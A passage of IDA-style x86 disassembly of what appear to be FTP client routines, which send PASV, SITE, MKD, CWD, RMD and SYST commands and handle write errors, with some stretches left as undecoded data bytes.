		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D56E
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D4B3:				; CODE XREF: sub_42D360+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D620
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D56E
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D240
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D508
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D508:				; CODE XREF: sub_42D360+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D54F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DB00
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D54F
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D54F:				; CODE XREF: sub_42D360+1B8j
					; sub_42D360+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D55F:				; CODE XREF: sub_42D360+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp	; sprintf
		add	esp, 0Ch


loc_42D56E:				; CODE XREF: sub_42D360+7Fj
					; sub_42D360+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D360	endp

; ---------------------------------------------------------------------------
		align 4
off_42D57C	dd offset loc_42D3F8	; DATA XREF: sub_42D360+91r
		dd offset loc_42D413	; jump table for switch	statement
		dd offset loc_42D42D
		dd offset loc_42D447
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D620	proc near		; CODE XREF: sub_42D360+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D944
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D682
		cmp	eax, 2
		jz	short loc_42D682
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D682:				; CODE XREF: sub_42D620+3Aj
					; sub_42D620+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D6B4
		cmp	eax, 49h
		jz	short loc_42D6B4
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D6B4:				; CODE XREF: sub_42D620+6Cj
					; sub_42D620+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D799
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D240
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D944
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D944
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436FDC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 10684D75h, 90004454h, 809669E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D799:				; CODE XREF: sub_42D620+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436FCA
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44553068h, 37E89000h, 83778096h,	0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44540068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445200h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44552868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 2068217Dh,	90004455h
		dd 809585E8h, 4C48377h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44550468h, 0E8905200h,	7781203Dh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 9CE89056h, 8B777FE7h, 8C483F0h, 2275F53Bh, 4453F868h
		dd 94B8E800h, 83907780h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D944:				; CODE XREF: sub_42D620+2Bj
					; sub_42D620+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D620	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0A0E89000h, 83777FEAh, 0C53B04C4h
		dd 75144689h, 53F8682Ch, 77E80044h, 90778094h, 5704C483h
		dd 9621E8h, 0E8905600h,	777FE88Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DB00	proc near		; CODE XREF: sub_42D360+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DB42
		mov	ecx, eax


loc_42DB42:				; CODE XREF: sub_42DB00+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436FB2
sub_42DB00	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd offset byte_683E75
		dd 90000001h, 7F1757E8h, 50008B77h, 968CE890h, 0C4837780h
		dd 44C68304h, 0E8905650h, 77819F14h, 83084B8Bh,	0E8510CC4h
		dd 941Eh, 86B895Fh, 0C0335D5Eh,	24C4815Bh, 0C3000001h
		dd 2975C53Bh, 0B9447E8Dh, 8, 445590BEh,	0A4A5F300h, 5208538Bh
		dd 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h, 124h, 84B8BC3h
		dd 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h, 548D084Bh
		dd 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h, 0F88B0000h
		dd 7F16C3E8h, 108B9077h, 5008438Bh, 14245489h, 939DE8h
		dd 7EFD3B00h, 87B8913h,	0B85D5E5Fh, 1, 24C4815Bh, 0C3000001h
		dd 10244C8Bh, 10068h, 0CBE85100h, 90778095h, 8304C483h
		dd 565044C6h, 9E52E890h, 0C4837781h, 86B890Ch, 5E5FC033h
		dd 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h, 85000093h
		dd 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h, 39E8086Bh
		dd 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h, 8BC30000h
		dd 5F102444h, 815B5D5Eh, 124C4h, 9090C300h, 2 dup(90909090h)
		dd 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD10	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DD21
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD21:				; CODE XREF: sub_42DD10+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD3D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CCF0
		add	esp, 0Ch
		jmp	short loc_42DD64
; ---------------------------------------------------------------------------


loc_42DD3D:				; CODE XREF: sub_42DD10+17j
		call	sub_42CF20
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DD4F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD4F:				; CODE XREF: sub_42DD10+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F9A
; ---------------------------------------------------------------------------


loc_42DD64:				; CODE XREF: sub_42DD10+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DD70
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD70:				; CODE XREF: sub_42DD10+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DDAF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DDAF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DDAF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DDA8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA8:				; CODE XREF: sub_42DD10+93j
		mov	dword ptr [esi+40h], 0


loc_42DDAF:				; CODE XREF: sub_42DD10+6Fj
					; sub_42DD10+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD10	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DDF0	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DE01
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DE01:				; CODE XREF: sub_42DDF0+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DE1D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DEC0
		add	esp, 0Ch
		jmp	short loc_42DE3A
; ---------------------------------------------------------------------------


loc_42DE1D:				; CODE XREF: sub_42DDF0+17j
		call	sub_42CF20
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436FA0
; ---------------------------------------------------------------------------


loc_42DE3A:				; CODE XREF: sub_42DDF0+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DE46
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DE46:				; CODE XREF: sub_42DDF0+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DE7C
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DE7C
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DE7C
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DE7C:				; CODE XREF: sub_42DDF0+63j
					; sub_42DDF0+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DDF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DEC0	proc near		; CODE XREF: sub_42DDF0+23p
					; sub_42E070+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DEDC
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEDC:				; CODE XREF: sub_42DEC0+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42E004


loc_42DEED:				; CODE XREF: sub_42DEC0+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DF2E
		cmp	al, 0Dh
		jz	short loc_42DF2E
		cmp	esi, 2000h
		jnz	short loc_42DF29
		push	ebp
		call	sub_42CF20
		add	esp, 4
		test	eax, eax
		jz	short loc_42DF8A
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436FA0
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF91
		xor	esi, esi


loc_42DF29:				; CODE XREF: sub_42DEC0+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DF2E:				; CODE XREF: sub_42DEC0+35j
					; sub_42DEC0+39j
		cmp	esi, 2000h
		jnz	short loc_42DF5C
		push	ebp
		call	sub_42CF20
		add	esp, 4
		test	eax, eax
		jz	short loc_42DF8A
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436FA0
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DFB1
		xor	esi, esi


loc_42DF5C:				; CODE XREF: sub_42DEC0+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DEED
		test	esi, esi
		jz	loc_42E004
		push	ebp
		call	sub_42CF20
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DFD1


loc_42DF8A:				; CODE XREF: sub_42DEC0+4Ej
					; sub_42DEC0+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF91:				; CODE XREF: sub_42DEC0+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DFB1:				; CODE XREF: sub_42DEC0+98j
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DFD1:				; CODE XREF: sub_42DEC0+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436FA0
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 12D2E890h, 108B777Fh, 0B8685752h,	90004455h
		dd 813871E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42E004:				; CODE XREF: sub_42DEC0+27j
					; sub_42DEC0+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E070	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E0EB
		dec	eax
		jz	short loc_42E0A0
		dec	eax
		jz	short loc_42E08C


loc_42E084:				; CODE XREF: sub_42E070+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E08C:				; CODE XREF: sub_42E070+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E0A0
		push	esi
		push	0
		push	0
		call	sub_42DEC0
		add	esp, 0Ch


loc_42E0A0:				; CODE XREF: sub_42E070+Fj
					; sub_42E070+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E0B4
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E0B4:				; CODE XREF: sub_42E070+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_43703C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436FA6
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42E084
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CBB0
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E0EB:				; CODE XREF: sub_42E070+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E102
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E102:				; CODE XREF: sub_42E070+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436FA6
sub_42E070	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 9, 0E1h
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E150:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E179
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E179:				; CODE XREF: ___:0042E170j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D240
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1D0:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D240
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E1F1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E1F1:				; CODE XREF: ___:0042E1ECj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E20C


loc_42E1FF:				; CODE XREF: ___:0042E20Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E20C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E1FF


loc_42E20C:				; CODE XREF: ___:0042E1FDj
					; ___:0042E203j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E240:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E269
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E269:				; CODE XREF: ___:0042E260j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D240
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2C0:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2E9:				; CODE XREF: ___:0042E2E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D240
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E340:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D240
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E370:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E399
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E399:				; CODE XREF: ___:0042E390j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D240
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3F0:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_44567C
		call	sub_42D240
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E411
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E411:				; CODE XREF: ___:0042E40Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E427
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E427:				; CODE XREF: ___:0042E422j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E445


loc_42E433:				; CODE XREF: ___:0042E443j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E445
		cmp	cl, 22h
		jz	short loc_42E445
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E433


loc_42E445:				; CODE XREF: ___:0042E431j
					; ___:0042E437j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E470:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E4A0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
